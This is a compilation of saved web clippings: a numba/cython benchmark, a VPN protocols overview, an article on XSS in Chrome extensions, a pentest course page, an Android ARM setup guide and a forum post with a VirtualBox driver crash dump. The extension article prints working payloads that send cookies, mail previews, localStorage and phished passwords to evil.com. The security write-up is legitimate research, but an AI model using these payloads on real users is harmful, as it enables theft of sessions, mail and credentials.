    In [2]: import numpy as npIn [3]: X = np.random.random((1000, 3))In [4]: D = np.empty((1000, 1000))In [5]: %timeit pairwise_python(X, D)1 loops, best of 3: 12.1 s per loop
[/code]  
---|---  
### Numba Version

Once numba is installed, we add only a single line to our above definition to
allow numba to interface our code with LLVM:

[code]

    123456789101112131415
[/code]

|

[code]

    import numpy as npfrom numba import doublefrom numba.decorators import jit@jit(arg_types=[double[:,:], double[:,:]])def pairwise_numba(X, D):    M = X.shape[0]    N = X.shape[1]    for i in range(M):        for j in range(M):            d = 0.0            for k in range(N):                tmp = X[i, k] - X[j, k]                d += tmp * tmp            D[i, j] = np.sqrt(d)
[/code]  
---|---  
I should emphasize that this is the _exact same_ code, except for numba’s
`jit` decorator. The results are pretty astonishing:

[code]

    12345
[/code]

|

[code]

    In [2]: import numpy as npIn [3]: X = np.random.random((1000, 3))In [4]: D = np.empty((1000, 1000))In [5]: %timeit pairwise_numba(X, D)100 loops, best of 3: 15.5 ms per loop
[/code]  
---|---  
This is a three order-of-magnitude speedup, simply by adding a numba
decorator\!

### Cython Version

For completeness, let’s do the same thing in cython. Cython takes a bit more
than just some decorators: there are also type specifiers and other imports
required. Additionally, we’ll use the `sqrt` function from the C math library
rather than from numpy. Here’s the code:

[code]

    12345678910111213141516
[/code]

|

[code]

    cimport cythonfrom libc.math cimport sqrt@cython.boundscheck(False)@cython.wraparound(False)def pairwise_cython(double[:, ::1] X, double[:, ::1] D):    cdef int M = X.shape[0]    cdef int N = X.shape[1]    cdef double tmp, d    for i in range(M):        for j in range(M):            d = 0.0            for k in range(N):                tmp = X[i, k] - X[j, k]                d += tmp * tmp            D[i, j] = sqrt(d)
[/code]  
---|---  
Running this shows about a 30% speedup over numba:

[code]

    12345
[/code]

|

[code]

    In [2]: import numpy as npIn [3]: X = np.random.random((1000, 3))In [4]: D = np.empty((1000, 1000))In [5]: %timeit pairwise_numba(X, D)100 loops, best of 3: 9.86 ms per loop
[/code]  
---|---  
### The Takeaway

So numba is 1000 times faster than a pure python implementation, and only
marginally slower than nearly identical cython code. There are some caveats
here: first of all, I have years of experience with cython, and only an hour’s
experience with numba. I’ve used every optimization I know for the cython
version, and just the basic vanilla syntax for numba. There are likely ways to
tweak the numba version to make it even faster, as indicated in the comments
of this post.

All in all, I should say I’m very impressed. Using numba, I added just a
_single line_ to the original python code, and was able to attain speeds
competetive with a highly-optimized \(and significantly less “pythonic”\)
cython implementation. Based on this, I’m extremely excited to see what numba
brings in the future.

All the above code is available as an ipython notebook:
numba\_vs\_cython.ipynb. For information on how to view this file, see the
IPython page Alternatively, you can view this notebook \(but not modify it\)
using the nbviewer here.

# Different Types of VPN Protocols - best vpn, hybrid vpn, ipsec, l2tp vpn,
mpls vpn, pptp vpn, site to site vpn, ssl vpn, types of vpn, VPN, vpn types,
what is vpn - Technically Personal\!

**Created:**| _1/13/2011 3:33:26 PM_  
---|---  
**Updated:**| _1/13/2011 3:33:40 PM_  
**Author:**| __  
**Tags:**| _network-security vpn_  
  

# Different Types of VPN Protocols

16 Jul, 2010 by Raju

Featured

We have previously spoken extensively about VPN and several Free VPN options
available in the market. In this article we try to explain different types of
VPNs and their advantages \(and disadvantages\). But before we dwelve into
that, a very brief introduction about VPNs.

## What is a VPN?

A VPN \( or _Virtual Private Network_\) is a way of creating a secure
connection ‘to’ and ‘from’ a network or a computer. The VPN uses strong
encryption and restricted, private data access which keeps the data secure
from the other users of the underlying network which could often be a public
network like the Internet. VPNs have been used for years, but they have become
more robust only in recent years. They are more affordable and also much
faster.

<img src='img/Temp2_2229.jpg' alt='what-is-vpn' />

## Types of VPN

There are many different types of VPNs available. Let’s take a look at most
common types.

### 1\. PPTP VPN

This is the most common and widely used VPN protocol. They enable authorized
remote users to connect to the VPN network using their existing Internet
connection and then log on to the VPN using password authentication. They
don’t need extra hardware and the features are often available as inexpensive
add-on software. PPTP stands for _Point-to-Point Tunneling Protocol_. The
disadvantage of PPTP is that it does not provide encryption and it relies on
the PPP \(Point-to-Point Protocol\) to implement security measures.

### 2\. Site-to-Site VPN

Site-to-site is much the same thing as PPTP except there is no “dedicated”
line in use. It allows different sites of the same organization, each with its
own real network, to connect together to form a VPN. Unlike PPTP, the routing,
encryption and decryption is done by the routers on both ends, which could be
hardware-based or software-based.

### 3\. L2TP VPN

L2TP or Layer to Tunneling Protocol is similar to PPTP, since it also doesn’t
provide encryption and it relies on PPP protocol to do this. The difference
between PPTP and L2TP is that the latter provides not only data
confidentiality but also data integrity. L2TP was developed by Microsoft and
Cisco.

### 4\. IPsec

Tried and trusted protocol which sets up a tunnel from the remote site into
your central site. As the name suggests, it’s designed for IP traffic. IPSec
requires expensive, time consuming client installations and this can be
considered an important disadvantage.

### 5\. SSL

SSL or Secure Socket Layer is a VPN accessible via https over web browser. SSL
creates a secure session from your PC browser to the application server you’re
accessing. The major advantage of SSL is that it doesn’t need any software
installed because it uses the web browser as the client application.

### 6\. MPLS VPN

MPLS \(Multi-Protocol Label Switching\) are no good for remote access for
individual users, but for site-to-site connectivity, they’re the most flexible
and scalable option. These systems are essentially ISP-tuned VPNs, where two
or more sites are connected to form a VPN using the same ISP. An MPLS network
isn’t as easy to set up or add to as the others, and hence bound to be more
expensive.

### 7\. Hybrid VPN

A few companies have managed to combine features of SSL and IPSec & also other
types of VPN types. Hybrid VPN servers are able to accept connections from
multiple types of VPN clients. They offer higher flexibility at both clienbt
and server levels and bound to be expensive.

## Conclusion

Deciding which VPN is the best is not easy. It depends on lot of factors like
the number of users, bandwidth, security and cost. Remember – cheaper is not
always better. For individual users, PP2P VPNs offer the best deal, but for
large offices or ones with complex requirements for connectivity MPLS VPNs
might be the best option.

It is better to explore the various options available and see which one suits
your needs the best.

# Web application vulnerabilities in context of browser extensions

**Created:**| _1/17/2011 9:35:34 PM_  
---|---  
**Updated:**| _1/17/2011 9:35:51 PM_  
**Author:**| __  
**Tags:**| _web-app-sec attacks web pentest awesome browser_  
  

# Web application vulnerabilities in context of browser extensions

Authors: | Taras Ivashchenko  
---|---  
Contact: | http://oxdef.info  
Date: | 2011-01-16  
Copyright: | This work is licensed under a Creative Commons Attribution-Share Alike 3.0 Unported License  
# Intro

Current days Google Chrome web browser becomes more and more popular. It is
really fast, easy-to-use and in same time powerful browser. I will not write
about whole security architecture of Chrome. There is a good article about it
by Larry Seltzer called "Google's Chrome Extensions Show Security Focus"\[1\].
Let's focus our attention on Chrome extensions platform. Like Mozilla Firefox
Chrome supports extensions or addons, which makes your web surfing with it
more comfortable.

What are extensions in Google Chrome browser? Extensions are small software
programs that can modify and enhance the functionality of the Chrome browser.
Developers writes them using well-know web technologies such as HTML,
JavaScript \(including HTML5 features\) and CSS. Using of such technologies of
course makes developing ease. But what security risks they will bring to us?

\[1\] | "Google's Chrome Extensions Show Security Focus" by Larry Seltzer, PC Magazine, http://www.pcmag.com/article2/0,2817,2359778,00.asp  
---|---  
# XSS

Lets look on popular \(18,368 installations per week\) extension called
"Google Mail Checker Plus" \[2\]. This extension simply displays the number of
unread messages in your Gmail inbox, can make preview of mail and supports
desktop notifications.

<img src='img/Temp2_9414.png' alt='img/google_mail_checker_plus.png' />

Mail preview in popup of Google Mail Checker Plus

On preview we can see at least subject, from and piece of body of letter. Ok,
lets send to us self letter with subject like:

[code]

    2"'><script src="http://evil.com/own.js"></script>
    
    
[/code]

own.js is simple javascript demo payload:

[code]

    document.body.innerHTML = '';
    img = new Image();
    img.src = 'http://evil.com/stallowned.jpg';
    document.body.appendChild(img);
    
    
[/code]

For the first we see such notification:

<img src='img/Temp2_9415.png' alt='img/gmail_checker_xss_notificate.png' />

XSS in Google Mail Checker Plus notification part

For the second we click on extension's icon and see our worked payload in
popup window:

<img src='img/Temp2_9416.png' alt='img/gmail_checker_xss.png' />

XSS in Google Mail Checker Plus

It works\! By the way this XSS has been already reported by Lostmon in **June
03, 2010** and fixed version of extension is available. Lostmon wrote that:

> "All extensions runs over his origin and no have way to altered data from
> extension or get sensitive data like , email account or password etc.."
Let's discover this web vulnerability in context of **this** extension to
understand risks.

\[2\] | https://chrome.google.com/extensions/detail/gffjhibehnempbkeheiccaincokdjbfe  
---|---  
## Cookies

Authentication data stored in cookie's is popular target for XSS attacks. But
extension scripts works in its own origin so extension can't directly access
cookie by using document.cookie object. It needs to use special cookies API
and have permissions for this purpose and for target hosts. For example
\(piece of manifest\):

[code]

    {
        "name": "My extension",
        ...
        "permissions": [
        "cookies",
        "*://*.google.com"
        ],
    ...
    }
    
    
[/code]

The risk occurs when extension have to much permissions, e.g. cookies and big
number of hosts in manifest. In such case XSS vulnerability will become more
dangerous because evil payload will gain access to cookies of **all** these
allowed hosts using cookies API like this:

[code]

    chrome.cookies.getAll({}, function(cookies) {
        var dump = 'COOKIES: ';
        for (var i in cookies) {
            dump += cookies[i].domain + ':' + cookies[i].name  + ':' + cookies[i].value + ' | ';
        }
        img = new Image();
        img.src = 'http://evil.com/stallowned.jpg?' + dump;
        document.body.appendChild(img);
    });
    
    
[/code]

## Browser data as target and permissions

In previous section was described a risk when through XSS attack on extension
in particular cases \(special permissions must be granted\) malicious man can
gain access to cookies from different sites. It concerns and such things like
bookmarks, history and other things which can be granted in permissionssection
of manifest file and can be accessed through chrome API\! There for XSS in
such extension can lead compromise user's desktop sensitive data and this risk
strongly depends on how much permissions does extension have.

## Gmail's External content control bypass

It is of course not critical risk but if malicious man can execute arbitrary
JavaScript code in concrete letter he can inject e.g. IMG tag and see that the
image is being fetched. Therefore he will know when you will have read the
message **even** if you have switched off displaying of external content.

## Message data theft

It is much worse risk\! Imagine that you will receive such payload

[code]

    var dump = '';
    var e = document.getElementsByTagName('a');
    i=0;
    while(i < e.length) {
        if (e[i].className == 'openLink') {
            dump += e[i].innerText + ' | ';
        }
        i++;
    }
    img = new Image();
    img.src = 'http://evil.com/sniff.jpg?' + dump;
    document.body.appendChild(img);
    
    
[/code]

Yes, this is simple code for dumping unread messages and malicious man can get
your mail **private** data from popup HTML document: senders, subjects, pieces
of message body\! I see your scared look =\)

## Extension settings leakage

Extensions can save sensitive data \(commonly settings\) using the HTML5 web
storage API \(such as localStorage\) which is supported in Google Chrome. Yes,
it is unlikely but not impossible. For example extension with bad architecture
can store there some account information. Dumping such data is trivial task:

[code]

    var dump = ' LOCALSTORAGE: ';
    for (i = 0; i < localStorage.length; i++ ) {
        dump += "KEY: " + localStorage.key(i);
        dump += " VALUE: " + localStorage.getItem(localStorage.key(i)) + " | ";
    }
    img = new Image();
    img.src = 'http://evil.com/sniff.jpg?' + dump;
    document.body.appendChild(img);
    
    
[/code]

## Fishing

As already I said extension can't directly access cookies data. Stealing of
authentication data by XSS in such case is not so trivial but malicious man
can simply use fishing technique and ask user to submit this data him self\!

[code]

    var msg = 'Please, enter account information.';
    msg += '<form action="http://evil.com/login">Username: <input type=text name=user>';
    msg += ' <br>Password: <input type=password name=pass><br><input type=submit></form>';
    document.body.innerHTML = msg;
    
    
[/code]

This image looks ugly but don't forget that it simple PoC.

<img src='img/Temp2_9412.png' alt='img/fishing.png' />

Fishing attack vector

## JSON data leakage

JSON is a lightweight data-interchange format and it is mostly used in AJAX
web applications in client-server data interchange. There are at least 2
security issues:

1\. Usage of eval\(\) JavaScript function to parse received untrusted/not
controlled JSON data. Google developers gives advance notice in
Securityconsiderations about this risk in developer's guide.

2\. This less obvious but interesting problem called JavaScript hijacking. If
JSON\(P\) is used to carry sensitive data in insecure way it can lead a data
leakage. In context of extension it is common as for usual AJAX web
application - there is no differences. Malicious man can sniff and discover
client-server data exchange of extension. And if he find insecure usage of
JSON\(P\) he will have opportunity to attack users and steal their sensitive
data.

## Content scripts

For example, you want to change color theme of some page which you visits to
your own colors. Another good example is surrounding all plain-text URLs on
the page with A HTML tag. There is thing for such purposes called content
scripts. A content script is some JavaScript that executes **in the context of
a page** \(not extension\) that's been loaded into the browser. So these
content scripts can **read** and **modify** data on the page.

Content scripts are very limited in chrome APIs and can't:

  * Use chrome.\* APIs \(except for parts of chrome.extension\)
  * Use variables or functions defined by their extension's pages
  * Use variables or functions defined by web pages or by other content scripts
  * Make cross-site XMLHttpRequests

But content scrips **can** communicate with parent extension by exchanging
messaging. Because content scrips can read and modify web pages we have at
least 2 risks:

  1. Bad coded content script can add vulnerability \(e.g. XSS\) to the page by modifying content of it
  2. Bad page can attack extension

Lets look into follow piece of HTML code \(it is popular hCard microformat\):

[code]

    <div class="vcard">
       <div class="fn">James Bond</div>
       <div class="org">MI-6</div>
       <div class="tel">604-555-1234</div>
       <a class="url" href="123:<script>d = document.createElement('div');d.innerHTML='<h1>XSS</h1>';document.body.appendChild(d);</script>233">http://example.com/</a>
     </div>
    
    
[/code]

If we visit page with such demo code and have Microformats extension
installed, this extension will try to parse it and show it to us:

<img src='img/Temp2_9413.png' alt='img/microformats_xss.png' />

Attack on Microformats extension \(using content scripts\)

As you can see malicious code is executed. What are risks? This extension
connects with your Google account by OAuth and have access to your **Google
Contacts**. This simple code:

[code]

    $(".submithcard").click()
    
    
[/code]

will add evil contact to your Google contacts. One more interesting thing in
this case is by default content scripts can only communicate with parent
extension through messages and in this case we can see how evil payload can be
passed from content script to popup action. In popup action we can do much
more.

# Outro

Google Chrome has really good extension's architecture and Google developers
gives enough possibilities to create full-featured and secure extensions. In
same time we can see very interesting thing when chosen technologies \(HTML,
CSS and JavaScript\) brings \(ok, **not technologies but unclever extension's
authors** :\) with them self such security problem like XSS to your desktop.
And risks from XSS in such case can be much dangerous then in usual web
application. So it is highly recommended to all extension's developers to read
"Security considerations" sections in Developer's Guide.

# Penetration Testing and Vulnerability Analysis - Home

**Created:**| _10/28/2009 6:01:37 PM_  
---|---  
**Updated:**| _10/28/2009 6:01:54 PM_  
**Author:**| __  
**Tags:**| _bookmark_  
  

This is the course website for  _Penetration Testing and Vulnerability
Analysis_ currently taught at the Polytechnic Institute of New York
University. This course introduces the fundamental technical skills required
to identify, analyze, and exploit software vulnerabilities. Taught by a team
of security industry experts, students will learn:

  * Source Code Auditing, taught by Brandon Edwards  
Identify vulnerabilities and programmer errors by auditing source code

  * Reverse Engineering, taught by Aaron Portnoy and Peter Silberman  
Understand, modify, and analyze compiled applications and systems to identify
vulnerabilities

  * Exploitation, taught by Dino Dai Zovi  
Take advantage of vulnerabilities to gain access to restricted data and break
security policies

  * Fuzz Testing, taught by Mike Zusman and Stephen Ridley  
Uncover high volumes of software security errors with a special type of
negative testing

  * Client-side Exploits, taught by Dean De Beer and Colin Ames  
Indirectly attack the users in your network and automate the collection of
data from them

  * Web Hacking, taught by Joe Hemler  
Identify and exploit vulnerabilities in web applications to gain access to
sensitive data and escalate privileges to the host operating system

### About the Course

Read about the history of the course and some of the past work that students
have created. Subscribe to the Blog to follow along with the current semester.
If you would like to take this course for credit, it is offered through:

  * E-Poly's Cyber-Security certificate,
  * E-Poly's MS in Cyber-Security,
  * and through the university proper.

### Notes about the site

  * **Almost every page has comments enabled**. If you feel like something is missing or if you have a better way of explaining it, leave a comment so everyone can benefit\!
  * **Most outside content is archived locally**. Having most of the content on this one site makes it easier for students to find and makes it easier for me to maintain the site. I give credit to the original authors in every appropriate location, however, you can let me know and I'll make it link directly to you instead.

# Vikram and Neha: Android ARM assembly: Device set up \(Part 1\)

**Created:**| _9/18/2011 7:49:04 AM_  
---|---  
**Updated:**| _9/18/2011 7:49:04 AM_  
**Author:**| __  
**Tags:**| _asm android arm_  
  

### Android ARM assembly: Device set up \(Part 1\)

This is part one of a multipart series about learning ARM assembly programming
with Android. This covers motivation and device set up.  
  
=> Part 1: Motivation and device set up  
Part 2: A walk-through of a simple ARM assembly program  
Part 3: Registers, memory, and addressing modes  
Part 4: Gnu tools for assembly; GCC and GDB  
Part 5: Stack and Functions  
Part 6: Arithmetic and Logical Expressions  
Part 7: Conditional Execution  
Part 8: Assembly in Android code  
  
The articles follow in series, each article builds on the previous.  
  
Motivation  
  
You might not realise it, but ARM processors are ubiquitous. When I look
around my house, I can count eight ARM processors in routers, phones, eBook
readers and web servers. There are more ARM processors in my house than Intel
processors.  
  
ARM assembly language is perhaps the easiest assembly language in widespread
use. The Intel instruction set was developed over years of CPU revisions,
which made the Complex Instruction Set \(CISC\) even more complex. In case you
want to learn assembly, the ARM instruction set is simple to learn. Once you
know how to write ARM assembly, it is easier to learn Intel assembly.  
  
Finally, ARM processors are being used everywhere. Whether you like the iPhone
or Android, they both use ARM processors. ARM processors excel at low-power
computing, which makes them valuable for mobile computing, and consumer
electronic devices like routers, NAS storage, eBook readers, game consoles and
cell phones. Unlike desktop computers, resources are very limited on mobile
devices. On such devices optimisation makes the difference between a slow and
unusable application and a fast and responsive one.  
  
Thanks to the profusion of Android devices, you can start programming ARM
assembly within minutes and at low cost. You don't need to sign an NDA or pay
for development tools. If you have an Android phone and a computer, you
already have everything you need. Assembly language programming will not
require the buttons or the touch-screen. Any device with a working USB port
and with root access will do.  
  
Setting up an ARM device with Linux was a monumental effort: you had to buy a
dev-kit which easily ran in the hundreds of dollars. Then you struggled to
shoe-horn Linux onto the tiny device. With Android, you already get an ARM
device running Linux. All the device drivers are in place. All you need is a
Linux distribution that allows you to get the native development tools. This
is considerably easier. It should take around an hour of effort.  
  
At this point, you have a choice. You can either go with setting up your own
device, which lets you develop on a real ARM computer. Or you can download a
prebuilt QEMU image.  
  
Choice A: Emulation  
This is the easy choice. For this, you need a computer: Windows, Mac, Linux,
all are good.  
  
QEMU is a full CPU emulator that can emulate an ARM computer. It is capable of
running the full Android stack, and is shipped with the Android SDK. QEMU is
much easier than setting up Linux on Android. To start, download and install
QEMU on your system and a utility to extract RAR files. I have prepared QEMU
images with the full software development environment.  
  
Download all three files \[part 1\], \[part 2\], \[part 3\], and then run this
command:  

[code]

    $ **unrar x arm-qemu.part1.rar**
[/code]

This will create a directory called ARM. You can enter that directory and run
the command runme.sh. It will start up the virtual machine. The virtual
machine is slow, so be patient. The administrator has username "root" and
password "root".  
  
Choice B: Using a real device  
In this case you install Linux on your Android phone.  
  
You need:  

  1. Android phone with 2GB free space on the SD card
  2. Any computer with USB

Obtain an Android phone on which you can get root access. If you have a
working Android phone, you can use that. Otherwise you can buy a used Android
phone. Install Debian on it using Jay Freeman's instructions on getting Debian
on an Android phone.  
  
Another option is to buy an ARM device like this Zipit. This is a harder
option. Many devices have poor support, and installing Linux can be a
herculean task. I would recommend sticking to an Android phone unless you have
easy access to an ARM device and you know that you can install Linux on it
easily.  
  
Once you have Debian working, you need to create a user and install ssh to
allow easy access to the device from your laptop or desktop:  

[code]

    phone$ sudo adduser # Create a normal user for dev purposes.
    phone$ sudo apt-get install openssh-server
    phone$ sudo /etc/init.d/ssh start
     
[/code]

You now have a working Debian installation that you can access using SSH. To
ssh into your device, you can use port forwarding with the Android Debug
Bridge \(adb\) to forward the desktop's port 2222 to port 22 on the phone as
follows:  

[code]

    desktop$ adb forward tcp:2222 tcp:22
[/code]

Finally, you can login to your phone from your desktop as follows:  

[code]

    desktop$ ssh user@localhost -p 2222
[/code]

[/code]

[code]

Once the port forwarding is working correctly, you can also login from any
computer on your network as follows:  

[code]

    desktop$ ssh user@mydesktop -p 2222
[/code]

This allows you to connect to your ARM device from any computer in your house.
You can punch holes in your firewall by forwarding ports from the firewall to
port 2222 on your desktop's IP address, and be able to access your ARM device
from anywhere in the world. Even if the screen has turned off, you will be
able to ssh into it, edit, compile and debug programs.  
  
Congratulations. You now have a completely silent ARM device which you can
connect to from anywhere.  
  
Once you have Debian installed on your device, you can get the development
system using apt-get:  

[code]

    phone$ sudo apt-get install gcc gdb make vi emacs
[/code]

Install the editor you prefer: vi or emacs. Now, your phone is a fully capable
ARM dev environment.  
  
  
Test the development tools  
You can try a simple C program to verify the setup.  

[code]

    /* hello.c: Hello World program */
    #include <stdio.h>
    
    int main(int argc, char* argv[]){
      printf("Hello ARM World\n");
      return 0;
    }
[/code]

  
You can compile this and run this as follows:  

[code]

    phone$ gcc hello.c -o hello && ./hello 
    
[/code]

If you have got this far, you can get a sneak peak at ARM assembly with the
following command:  

[code]

    phone$ gcc hello.c -S && cat ./hello.s 
[/code]

This shows you the intermediate Assembly language from the Hello world
program.  
  
Congratulations, you have turned your Android phone into a full-featured ARM
dev kit. The next article will cover programming your device in Assembly
language.

# Recovering Windows Secrets and EFS Certiﬁcates Ofﬂine

**Created:**| _8/12/2010 4:59:48 PM_  
---|---  
**Updated:**| _8/12/2010 5:01:02 PM_  
**Author:**| __  
**Tags:**| __  
  
<img src='img/Burzstein.pdf' /><img src='img/Burzstein.pdf' />

# WASM.NT.KERNEL Oracle VirtualBox DirectX driver vulnerability \(samples
included\)

**Created:**| _10/29/2013 10:04:24 AM_  
---|---  
**Updated:**| _10/29/2013 10:08:22 AM_  
**Author:**| _wishi_  
**Tags:**| _Exploit virtusalisation Driver win8 sample_  
  

А бага-то в дровах vbox'а :\)

  

VboxVideoW8.sys

  

vboxVideoAMgrCtxAllocMap\(\)  
\{  
...  
PVOID pvUm = MmMapLockedPagesSpecifyCache\(&pAllocRef->Mdl, UserMode,
MmNonCached,  
NULL, /\* PVOID BaseAddress \*/  
FALSE, /\* ULONG BugCheckOnFailure \*/  
NormalPagePriority\);  
...  
\}

  

Юзермодное маппирование без try\except -> жук-контроль.

Зашлёшь им баг?  

  

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

  

**x64**

Дамп пришлось глянуть и вручную стек восстановить:

  

0: kd> kn999  
\# ChildEBP RetAddr  
00 b398a0e8 81c1e0f8 nt\!KeBugCheckEx  
01 b398a104 81b8d932 nt\!KiFatalExceptionHandler+0x1a  
02 b398a128 81b8d904 nt\!ExecuteHandler2+0x26  
03 b398a1ec 81b8d8ab nt\!ExecuteHandler+0x24  
04 b398a51c 81e5cbfe nt\!RtlRaiseStatus+0x47  
05 b398a564 81ab341d nt\! ?? ::NNGAKEGL::\`string'+0x55594  
06 b398a660 81aca3e7 nt\!MmMapLockedPagesSpecifyCache+0x41d  
07 b398a730 9264b238 nt\!MiGetPteFromCopyList+0x10b  
08 b398a750 92645b6d dxgkrnl\!DXGADAPTER::DdiEscape+0x3e  
09 b398acf8 954ba972 dxgkrnl\!DxgkEscape+0x472  
0a b398ad48 81b886f7 win32k\!NtGdiDdDDIEscape+0x4a  
0b b398ad48 77b4f804 nt\!KiSystemServicePostCall  
WARNING: Frame IP not in any known module. Following frames may be wrong.  
0c 07c4e180 00000000 0x77b4f804  
  
0: kd> ub 81aca3e7  
nt\!MiGetPteFromCopyList+0xee:  
81aca3ca 8a400e mov al,byte ptr \[eax+0Eh\]  
81aca3cd c0e806 shr al,6  
81aca3d0 84c0 test al,al  
81aca3d2 0f84d6000000 je nt\!MiGetPteFromCopyList+0x1d2 \(81aca4ae\)  
81aca3d8 3c02 cmp al,2  
81aca3da 0f84b7000000 je nt\!MiGetPteFromCopyList+0x1bb \(81aca497\)  
81aca3e0 8bcb mov ecx,ebx  
81aca3e2 e8d1000000 call nt\!MiDetermineUserGlobalPteMask \(81aca4b8\)

  

Видно, что windbg что-то скрывает - в конце дизасма ожидался вызов
MmMapLockedPagesSpecifyCache.

Дальше дело техники.

И как раз сорцы были выкачаны, там грепом нашлась бага.  

  

  

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

  

Microsoft \(R\) Windows Debugger Version 6.3.9600.16384 X86  
Copyright \(c\) Microsoft Corporation. All rights reserved.  
  
  
Loading Dump File \[C:\Users\o.zaharenko\Desktop\102713-22109-01.dmp\]  
Mini Kernel Dump File: Only registers and stack trace are available  
  
  
\*\*\*\*\*\*\*\*\*\*\*\*\* Symbol Path validation summary
\*\*\*\*\*\*\*\*\*\*\*\*\*\*  
Response Time \(ms\) Location  
Deferred SRV\*C:\symbols\*http://msdl.microsoft.com/download/symbols  
Symbol search path is:
SRV\*C:\symbols\*http://msdl.microsoft.com/download/symbols  
Executable search path is:  
Windows 8 Kernel Version 9600 MP \(2 procs\) Free x86 compatible  
Product: WinNt, suite: TerminalServer SingleUserTS  
Built by: 9600.16404.x86fre.winblue\_gdr.130913-2141  
Machine Name:  
Kernel base = 0x81a77000 PsLoadedModuleList = 0x81c70218  
Debug session time: Sat Oct 26 22:59:22.540 2013 \(UTC + 0:00\)  
System Uptime: 0 days 0:13:18.392  
Loading Kernel Symbols  
.  
  
Press ctrl-c \(cdb, kd, ntsd\) or ctrl-break \(windbg\) to abort symbol loads
that take too long.  
Run \!sym noisy before .reload to track down problems loading symbols.  
  
..............................................................  
................................................................  
.....  
Loading User Symbols  
Loading unloaded module list  
......  
\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*  
\* \*  
\* Bugcheck Analysis \*  
\* \*  
\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*  
  
Use \!analyze -v to get detailed debugging information.  
  
BugCheck 1E, \{c0000017, 81e5cbfe, 20, b398a570\}  
  
Probably caused by : dxgkrnl.sys \( dxgkrnl\!DXGADAPTER::DdiEscape+3e \)  
  
Followup: MachineOwner  
\---------  
  
0: kd> kn999  
\# ChildEBP RetAddr  
00 b398a0e8 81c1e0f8 nt\!KeBugCheckEx  
01 b398a104 81b8d932 nt\!KiFatalExceptionHandler+0x1a  
02 b398a128 81b8d904 nt\!ExecuteHandler2+0x26  
03 b398a1ec 81b8d8ab nt\!ExecuteHandler+0x24  
04 b398a51c 81e5cbfe nt\!RtlRaiseStatus+0x47  
05 b398a564 81ab341d nt\! ?? ::NNGAKEGL::\`string'+0x55594  
06 b398a660 81aca3e7 nt\!MmMapLockedPagesSpecifyCache+0x41d  
07 b398a730 9264b238 nt\!MiGetPteFromCopyList+0x10b  
08 b398a750 92645b6d dxgkrnl\!DXGADAPTER::DdiEscape+0x3e  
09 b398acf8 954ba972 dxgkrnl\!DxgkEscape+0x472  
0a b398ad48 81b886f7 win32k\!NtGdiDdDDIEscape+0x4a  
0b b398ad48 77b4f804 nt\!KiSystemServicePostCall  
WARNING: Frame IP not in any known module. Following frames may be wrong.  
0c 07c4e180 00000000 0x77b4f804  
0: kd> ub 81aca3e7  
nt\!MiGetPteFromCopyList+0xee:  
81aca3ca 8a400e mov al,byte ptr \[eax+0Eh\]  
81aca3cd c0e806 shr al,6  
81aca3d0 84c0 test al,al  
81aca3d2 0f84d6000000 je nt\!MiGetPteFromCopyList+0x1d2 \(81aca4ae\)  
81aca3d8 3c02 cmp al,2  
81aca3da 0f84b7000000 je nt\!MiGetPteFromCopyList+0x1bb \(81aca497\)  
81aca3e0 8bcb mov ecx,ebx  
81aca3e2 e8d1000000 call nt\!MiDetermineUserGlobalPteMask \(81aca4b8\)  
0: kd> dps b398a564 L80  
b398a564 b398a5c8  
b398a568 81ab341d nt\!MmMapLockedPagesSpecifyCache+0x41d  
b398a56c 00000000  
b398a570 00000000  
b398a574 00000010  
b398a578 99f0e000  
b398a57c 8517c000  
b398a580 00501000  
b398a584 00000000  
b398a588 85052034  
b398a58c 000007ff  
b398a590 9a40f000  
b398a594 9a40f000  
b398a598 c04d2078  
b398a59c 00000001  
b398a5a0 8517c018  
b398a5a4 00000010  
b398a5a8 873074c0  
b398a5ac 00000000  
b398a5b0 8501d1e2  
b398a5b4 81ad7d44 nt\!RtlSetBits+0x5e  
b398a5b8 e93f697b  
b398a5bc 00000000  
b398a5c0 000e93f6  
b398a5c4 00000000  
b398a5c8 b398a624  
b398a5cc 932498ff\*\*\* WARNING: Unable to verify timestamp for
VBoxVideoW8.sys  
\*\*\* ERROR: Module load completed but symbols could not be loaded for
VBoxVideoW8.sys  
VBoxVideoW8+0x128ff  
b398a5d0 8517c018  
b398a5d4 00000001  
b398a5d8 00000000  
b398a5dc 00000000  
b398a5e0 00000000  
b398a5e4 00000010  
b398a5e8 00000000  
b398a5ec 851859a8  
b398a5f0 85052034  
b398a5f4 8517c000  
b398a5f8 00000000  
b398a5fc 00000000  
b398a600 00000501  
b398a604 00000000  
b398a608 00000000  
b398a60c b398a5e8  
b398a610 b398a0fc  
b398a614 b398ace8  
b398a618 9325fdf8 VBoxVideoW8+0x28df8  
b398a61c 93271020 VBoxVideoW8+0x3a020  
b398a620 ffffffff  
b398a624 b398a644  
b398a628 93249a70 VBoxVideoW8+0x12a70  
b398a62c 8517f230  
b398a630 851859a8  
b398a634 b398aae4  
b398a638 8517f230  
b398a63c c00000bb  
b398a640 b398aae4  
b398a644 b398a730  
b398a648 9323c10b VBoxVideoW8+0x510b  
b398a64c 8517f230  
b398a650 b398aae4  
b398a654 84ea9008  
b398a658 b398ad14  
b398a65c b398a974  
b398a660 b398a71c  
b398a664 81aca3e7 nt\!MiGetPteFromCopyList+0x10b  
b398a668 b398aa5c  
b398a66c 836c8734  
b398a670 81aca458 nt\!MiGetPteFromCopyList+0x17c  
b398a674 87219a64  
b398a678 80000000  
b398a67c 80000000  
b398a680 87219a64  
b398a684 82432450  
b398a688 00000001  
b398a68c ffffffff  
b398a690 b398a6b4  
b398a694 81cf04bd nt\!CmpCheckKeyBodyAccess+0x1cd  
b398a698 c5e34398  
b398a69c 824e9148  
b398a6a0 873074c0  
b398a6a4 00000000  
